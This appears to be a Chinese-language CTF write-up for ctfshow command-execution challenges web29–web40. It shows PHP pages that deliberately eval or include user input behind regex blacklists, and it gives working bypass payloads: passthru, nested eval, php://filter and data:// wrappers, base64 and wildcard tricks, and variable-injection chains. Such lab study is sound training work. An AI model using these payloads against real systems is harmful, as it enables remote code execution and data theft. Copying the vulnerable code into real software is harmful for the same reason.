ctfshow-命令执行·29-40

基本参考:https://blog.csdn.net/KeepPromise/article/details/128044517

web29 10

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

代码审计,禁止出现flag,system('ls');出现了flag.php,后面用cat命令发现怎么都绕不过,直接就

?c=system('nl *');查看源码

web30 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

将system替换成passthru()即可,然后查看源码,payload

?c=passthru('nl *');

方法二

?c=echo `nl fl''ag.p''hp`;

web31 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

进行嵌套绕过,payload1

?c=eval($_GET[1]);&1=system('tac flag.php');
  • 注意到过滤机制是针对c来的($c),直接通过 eval + 参数拆分实现间接执行嵌套绕过
  • c=eval($_GET[1]);是告诉服务器执行另一个 GET 参数1中的内容
  • 既然只对c的内容进行过滤,那么1的内容就不会被过滤了(也可以使用cat,只不过被注释掉了,去源码查看即可)

payload2

GET:?c=eval($_POST[1]);
POST:1=passthru("tac%09fla*"); 

payload3(利用无参函数)

show_source(next(array_reverse(scandir(pos(localeconv())))));

payload4

?c=echo%09`tac%09fl*`;

cat 被过滤的解决方案:

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

web32 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

嵌套绕过,

?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

或者

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

web33 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

在上一题的基础上删掉双引号

payload1

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

payload2(利用data协议)

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

web34 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是嵌套绕过(上一题的payload可用)

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

web35 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

上一题的payload可用,include拼接,伪协议读取

web36 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload同上,把数字换成字母就好了

?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

web37 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

注意这个include函数,可以包含文件,也能处理为伪协议,payload

?c=data://text/plain,<?php system('cat fl*')?>

或者

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web38 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

禁用了PHP,不过可以进行base64加码,继续使用data协议

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

还可以用php短标签进行绕过

?c=data://text/plain,<?=system('tac fla?.???')?>

web39 10

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

条件增加,同时包含了“.php“,

在语句中用通配符代替,payload1

?c=data://text/plain,<?=system('tac f*')?>

payload2,提前闭合include语句

?c=data://text/plain,<?php system('cat fl*')?>)?><?php

web40 10

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

代码审计,会发现中间过滤的括号是中文版的,所以括号还是可以用,直接无参rce

show_source(next(array_reverse(scandir(pos(localeconv())))));

另一种方法PHP 变量覆盖攻击(动态变量注入攻击)

?c=eval(array_pop(next(get_defined_vars())));
POST:
1=system("cat flag.php");

当用户请求包含 GET 和 POST 参数时,PHP 会自动创建以下预定义变量:

$_GET = ['c' => 'eval(array_pop(next(get_defined_vars())));'];
$_POST = ['1' => 'system("cat flag.php");'];

get_defined_vars()会返回当前所有变量的数组,包括:

[
    '_GET' => [...],
    '_POST' => [...],
    'c' => 'eval(array_pop(next(get_defined_vars())));',
    // 其他变量...
]
返回包含所有变量的数组,简化后为
[
    0 => $_GET,      // 第一个元素:$_GET数组
    1 => $_POST,     // 第二个元素:$_POST数组
    2 => $c,         // 第三个元素:$c变量
    // ...
]

next(get_defined_vars()),next()将数组指针向前移动一位,并返回当前元素的值,此时指针从$_GET移到$_POST,返回值为:

$_POST = ['1' => 'system("cat flag.php");'];

array_pop()从数组末尾弹出一个元素,对$_POST数组执行array_pop(),返回

'system("cat flag.php");'
上一篇
下一篇